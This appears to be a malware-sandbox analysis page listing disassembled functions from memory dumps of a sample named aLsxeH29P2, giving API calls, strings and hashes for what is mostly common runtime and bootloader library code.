Function 00007FFE126CCDBC Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 290COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE126CCE4D
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CCE86
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CCF5A
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CCF6B
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CCFCE
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CCFDE
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CD02A
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CD03C
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CD1B1

Part of subcall function 00007FFE126CED94: Replicator::operator[].LIBVCRUNTIME ref: 00007FFE126CEDEE

DName::operator+.LIBVCRUNTIME ref: 00007FFE126CD233
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CD242

Strings

`anonymous namespace', xrefs: 00007FFE126CD10E

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: Name::operator+$Replicator::operator[]
String ID: `anonymous namespace'
API String ID: 3863519203-3062148218
Opcode ID: c2c563be3abc2cd025459880134dd91d33137c93c5547e13454a58e5101b2a40
Instruction ID: f2c33f23ba5ceb0da593fb552625adf753da6fb21eebbfbdea0a2325179c6218
Opcode Fuzzy Hash: c2c563be3abc2cd025459880134dd91d33137c93c5547e13454a58e5101b2a40
Instruction Fuzzy Hash: BEE18072A08F869AEB10EF66DC801AC77A0FB59754F804071EA8D17BA9DFBCD525C700

Function 00007FF7F3DD81D0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F3DD9390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7F3DD45F4,00000000,00007FF7F3DD1985), ref: 00007FF7F3DD93C9

ExpandEnvironmentStringsW.KERNEL32(?,00007FF7F3DD86B7,?,?,00000000,00007FF7F3DD3CBB), ref: 00007FF7F3DD822C

Part of subcall function 00007FF7F3DD2810: MessageBoxW.USER32 ref: 00007FF7F3DD28EA

Strings

LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF7F3DD8373
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF7F3DD8203
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF7F3DD829D
\, xrefs: 00007FF7F3DD8261
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF7F3DD8240
%.*s, xrefs: 00007FF7F3DD830C
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF7F3DD82D9
CreateDirectory, xrefs: 00007FF7F3DD837C

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: 34679b23be2e6a85bad270fe565fa16c5e09c528fb77942a9d4832d630ea4d55
Instruction ID: a8701849d75f3fde35995c81857c6491dccaffc4380616e41407ab6daf436257
Opcode Fuzzy Hash: 34679b23be2e6a85bad270fe565fa16c5e09c528fb77942a9d4832d630ea4d55
Instruction Fuzzy Hash: BB518711A2D68291FBD1BBA5D8516B9F250AF94780FC44431DA2EAE7D9EE3CE50483F0

Function 00007FFE126CDC24 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 359COMMONLIBRARYCODE

Download Yara Rule

APIs

atol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FFE126C90F4), ref: 00007FFE126CE08A
DName::DName.LIBVCRUNTIME ref: 00007FFE126CE0C9
swprintf_s.PGOCR ref: 00007FFE126CE0E9
DName::DName.LIBVCRUNTIME ref: 00007FFE126CE0F9
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CE149

Strings

`generic-class-parameter-, xrefs: 00007FFE126CE15A
lambda, xrefs: 00007FFE126CDFE8
nullptr, xrefs: 00007FFE126CDE0D
NULL, xrefs: 00007FFE126CDCF1
`generic-method-parameter-, xrefs: 00007FFE126CE116
`template-type-parameter-, xrefs: 00007FFE126CE16A

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: NameName::$Name::operator+atolswprintf_s
String ID: NULL$`generic-class-parameter-$`generic-method-parameter-$`template-type-parameter-$lambda$nullptr
API String ID: 2331677841-2441609178
Opcode ID: 04052d8e5626c1f24672c52f4d573e3506f88365006a7f318b5907256fbad706
Instruction ID: 0aa04c2ff9cb02fadf6efb6f70a99f7c387b5e23b75c01969de41cab8b77448e
Opcode Fuzzy Hash: 04052d8e5626c1f24672c52f4d573e3506f88365006a7f318b5907256fbad706
Instruction Fuzzy Hash: 4BF1BF22E08E4685FB25BB67DD581FC27B4AF65374F9001B6CE0D26AF5DEBCA5248340

Function 00007FF7F3DD1600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7F3DD17DF
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7F3DD16DA
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF7F3DD1742
fwrite, xrefs: 00007FF7F3DD17D1
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7F3DD16A2
malloc, xrefs: 00007FF7F3DD1749
fread, xrefs: 00007FF7F3DD17E6
fopen, xrefs: 00007FF7F3DD1663
Failed to extract %s: failed to open target file!, xrefs: 00007FF7F3DD165C
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF7F3DD17CA
Failed to create symbolic link %s!, xrefs: 00007FF7F3DD1622
fseek, xrefs: 00007FF7F3DD16E1

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: d8e1660e306644a3059456114562463667108454f96654c664cb3035ad910b0d
Instruction ID: 49c70b0aacbad83e1b3dc2436593b74adcfd4fa2dc1f5cb23b310c3ec4c07e38
Opcode Fuzzy Hash: d8e1660e306644a3059456114562463667108454f96654c664cb3035ad910b0d
Instruction Fuzzy Hash: 99519E61B0964392EB94BBA194401B9B3A4FF84B94FC44631ED3C2F7D6DE3CE58587A0

Function 00007FFE126CB280 Relevance: 19.9, APIs: 13, Instructions: 361COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE126CB2D1
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CB39A
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CB3E3
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CB3F4

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: 9a3856515ab70ac0cbef49cb78169d28014df4ca819d0bec0dbbb0bc7461e156
Instruction ID: 874a8ff497e123fc18f1a207610dfdc8a2b5ee38f365e93e9af6a589e55e0dcb
Opcode Fuzzy Hash: 9a3856515ab70ac0cbef49cb78169d28014df4ca819d0bec0dbbb0bc7461e156
Instruction Fuzzy Hash: 4AF18D76B08E869EE711EFA6D8901FC37B0EB0435CB804076DA4D57AE9EEB8D525D340

Function 00007FFE126C3334 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 309COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FFE126C3390

Part of subcall function 00007FFE126C5768: __GetUnwindTryBlock.LIBCMT ref: 00007FFE126C57AB
Part of subcall function 00007FFE126C5768: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FFE126C57D0

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FFE126C3468
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE126C3475
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FFE126C36B9
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE126C36E7

Part of subcall function 00007FFE126C6E48: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE126C29EE), ref: 00007FFE126C6E56

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE126C37AD
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FFE126C37E2

Strings

csm, xrefs: 00007FFE126C348D
csm, xrefs: 00007FFE126C3411
csm, xrefs: 00007FFE126C33AA

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: BlockFrameHandler3::Unwindabortterminate$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 4223619315-393685449
Opcode ID: dcb3548c504605ccad87c1df068e82445ce8bfed626f824eb2c4e809fdb80efd
Instruction ID: fa495b51d8a244a44a73aef56e9429b1c11433372d769c847165c0ba75629b35
Opcode Fuzzy Hash: dcb3548c504605ccad87c1df068e82445ce8bfed626f824eb2c4e809fdb80efd
Instruction Fuzzy Hash: 6ED1A572A08F418AEB10EF66D8402AD77A0FB457A8F900176DE8D57BA5CF78E5B0C740

Function 00007FFE126CED94 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 192COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBVCRUNTIME ref: 00007FFE126CEDEE

Strings

generic-type-, xrefs: 00007FFE126CEE97
template-parameter-, xrefs: 00007FFE126CEE50
`generic-type-, xrefs: 00007FFE126CEECA
`template-parameter-, xrefs: 00007FFE126CEE83

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: Replicator::operator[]
String ID: `generic-type-$`template-parameter-$generic-type-$template-parameter-
API String ID: 3676697650-3207858774
Opcode ID: 73310b6c18e80224c33410df5d9c8b136be81ee7f088e8962b8740eac16092a6
Instruction ID: c42de7e69071db82a31ebe0d54f39b8d83f3da7017fbd61011da14843ee1baba
Opcode Fuzzy Hash: 73310b6c18e80224c33410df5d9c8b136be81ee7f088e8962b8740eac16092a6
Instruction Fuzzy Hash: AB919272A08E4A9AFB10AF22DC505B837B1AB58768F8541B2DA8D037F5DFBCE555C340

Function 00007FF7F3DD80C0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF7F3DD80FF
GetWindowLongPtrW.USER32 ref: 00007FF7F3DD817F
ShutdownBlockReasonCreate.USER32 ref: 00007FF7F3DD8192
GetLastError.KERNEL32 ref: 00007FF7F3DD819C
SetWindowLongPtrW.USER32 ref: 00007FF7F3DD81B3

Strings

Needs to remove its temporary files., xrefs: 00007FF7F3DD8185

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction ID: fa1522f97fb98892dfe46c309bd3000e60e2174a9f8c404bb961c01f4937379c
Opcode Fuzzy Hash: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction Fuzzy Hash: EB218821B09A4282E7916BF9F884179A350EF89B90F984131DE3D5B3D8DE2CD5598360

Function 00007FFE126C9164 Relevance: 16.7, APIs: 11, Instructions: 158COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE126C91CC
DName::operator+.LIBVCRUNTIME ref: 00007FFE126C92C9
DName::operator+.LIBVCRUNTIME ref: 00007FFE126C9322
DName::operator+.LIBVCRUNTIME ref: 00007FFE126C934E
DName::operator+.LIBVCRUNTIME ref: 00007FFE126C9360
DName::operator+.LIBVCRUNTIME ref: 00007FFE126C938F

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: 3cac31fbce2037cca8b65a6457a1f6e1f72e09754060cc87a73fdfbcf94b07ef
Instruction ID: 15e1cfec16e551025ea8043ae1c0099867d2d6a6c4fc9b2ceb2eb1b2429cb1d2
Opcode Fuzzy Hash: 3cac31fbce2037cca8b65a6457a1f6e1f72e09754060cc87a73fdfbcf94b07ef
Instruction Fuzzy Hash: BC717D72B15E469DEB15EFA2C8801FC33B5AB0479CB804472DA4D57AE9DFB8D625C380

Function 00007FFE126CAAC8 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE126CAB22
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CAC58

Strings

cointerface , xrefs: 00007FFE126CABFF
coclass , xrefs: 00007FFE126CAC11
enum , xrefs: 00007FFE126CAC35
class , xrefs: 00007FFE126CAC6D
union , xrefs: 00007FFE126CAC85
`unknown ecsu', xrefs: 00007FFE126CAAEE
struct , xrefs: 00007FFE126CAC7C

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: Name::operator+
String ID: `unknown ecsu'$class $coclass $cointerface $enum $struct $union
API String ID: 2943138195-1464470183
Opcode ID: 50e8110e92645124a6d82ffc9330fdaa6dc52167fa44e73d911cd3f80f86a47a
Instruction ID: 2bd209d0f31c5ed96c81f0e2cf5bb0227c93bf671e1507fe54442370fead3985
Opcode Fuzzy Hash: 50e8110e92645124a6d82ffc9330fdaa6dc52167fa44e73d911cd3f80f86a47a
Instruction Fuzzy Hash: 1A515E31E18E5ACAF710EF66EC805BC2771BB14368F904175DA4D53AE9DFA8E965C300

Function 00007FF7F3DE6290 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE62D3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE66C0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE695C

Strings

-, xrefs: 00007FF7F3DE6369
p, xrefs: 00007FF7F3DE63FD
:, xrefs: 00007FF7F3DE648C
f, xrefs: 00007FF7F3DE63F5
p, xrefs: 00007FF7F3DE6385

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: 5e72220c1a9951190760defcdf5b29bcb7f8b6d8fdbf3005cafdf6d8a8781a45
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: D112D662E1C24386FBA87E94D144279FE91FB40754FC44235D6A92BAC4DF3CE5C08BA2

Function 00007FF7F3DE0FC8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE1008
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE13D0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE166F

Strings

f, xrefs: 00007FF7F3DE110A
p, xrefs: 00007FF7F3DE1112
f, xrefs: 00007FF7F3DE10A0
p, xrefs: 00007FF7F3DE10AD
f, xrefs: 00007FF7F3DE1255

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: 93c77003ae05eb8f7df6ed0cd9f73ba6a37035c28a0fe4c194a1df7c6810b29a
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: 2B12AB62F0C14385FBA8BA94D044279FEA9FB40754FC44235D6BA5A6C4DB7CE4C487A2

Function 00007FFE126C37F8 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FFE126C3996
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE126C39A3

Part of subcall function 00007FFE126C6E48: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE126C29EE), ref: 00007FFE126C6E56

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE126C3C57
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE126C3CA2
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FFE126C3CD7

Strings

csm, xrefs: 00007FFE126C393F
csm, xrefs: 00007FFE126C39BF
csm, xrefs: 00007FFE126C38DD

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: abortterminate$Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 211107550-393685449
Opcode ID: aad8d4203d0b1849c4fce47835e3c613ec0ba3b35d99662ed70f641d37e67567
Instruction ID: af2698ca1f068180cb7d4bbe3f7227779353ebc3ce2927a35cf995eb3e0c7dc9
Opcode Fuzzy Hash: aad8d4203d0b1849c4fce47835e3c613ec0ba3b35d99662ed70f641d37e67567
Instruction Fuzzy Hash: 2EE1C273908B828AE710AF76D8803BD77A0FB44768F940276DA8D576E5DF78E5A1C700

Function 00007FF7F3DD1050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7F3DD11F6
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7F3DD10CC
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7F3DD1098
malloc, xrefs: 00007FF7F3DD110F
fread, xrefs: 00007FF7F3DD11FD
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7F3DD1108
fseek, xrefs: 00007FF7F3DD10D3

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 4b5b6e3fcef3044075732b7736491b2407c08096ec4bb89f35b93de1ee291999
Instruction ID: dadcda14d6b83b980c0354c7bfc0dc0128aa30ee8e9a7e8485dd92544c0c36ec
Opcode Fuzzy Hash: 4b5b6e3fcef3044075732b7736491b2407c08096ec4bb89f35b93de1ee291999
Instruction Fuzzy Hash: 81418E61A0865382EB94FB92A8406B9F7A5FF44BC4FC44532ED2D2B7C5DE3CE54583A0

Function 00007FF7F3DD8660 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF7F3DD3CBB), ref: 00007FF7F3DD8704
GetCurrentProcessId.KERNEL32(?,00000000,00007FF7F3DD3CBB), ref: 00007FF7F3DD870A
CreateDirectoryW.KERNEL32(?,00000000,00007FF7F3DD3CBB), ref: 00007FF7F3DD874C

